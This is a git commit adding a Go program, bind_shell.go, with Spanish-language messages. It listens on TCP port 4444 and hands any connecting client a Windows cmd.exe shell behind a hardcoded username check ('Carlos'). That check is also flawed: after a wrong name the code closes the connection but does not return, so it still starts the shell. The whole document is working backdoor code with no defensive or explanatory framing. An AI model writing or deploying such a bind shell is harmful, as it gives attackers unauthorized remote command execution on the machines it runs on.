commit 4761309c3f8e4f7a71c7907867856dac9334dca3
Author: kar <karimico@protoin.me>
Date:   Wed Sep 3 20:33:27 2025 -0700

    Primer commit

diff --git a/bind_shell.go b/bind_shell.go
new file mode 100644
index 0000000..c227484
--- /dev/null
+++ b/bind_shell.go
@@ -0,0 +1,49 @@
+package main
+
+import (
+	"fmt"
+	"net"
+	"os/exec"
+	"strings"
+)
+
+func main() {
+	listener, err := net.Listen("tcp", "0.0.0.0:4444")
+	if err != nil {
+		fmt.Println("Error al abrir scoket")
+	}
+	defer listener.Close()
+	conn, err := listener.Accept()
+	if err != nil {
+		fmt.Println("Error")
+	}
+	if err != nil {
+		fmt.Println("Error al recibir la conexion")
+	}
+	if login(conn) != true {
+		_, err = conn.Write([]byte("False User\n"))
+		conn.Close()
+	}
+	cmd := exec.Command("cmd.exe")
+	cmd.Stdin = conn
+	cmd.Stdout = conn
+	cmd.Stderr = conn
+	cmd.Run()
+}
+
+func login(conn net.Conn) bool {
+
+	mensaje := fmt.Sprintf("Favor de escribir usuario\nUsuario: ")
+	_, err := conn.Write([]byte(mensaje))
+	buf := make([]byte, 1024)
+	n, err := conn.Read(buf)
+	if err != nil {
+		fmt.Println("Error")
+	}
+	data := string(buf[:n])
+	user := strings.TrimSpace(data)
+	if user != "Carlos" {
+		return false
+	}
+	return true
+}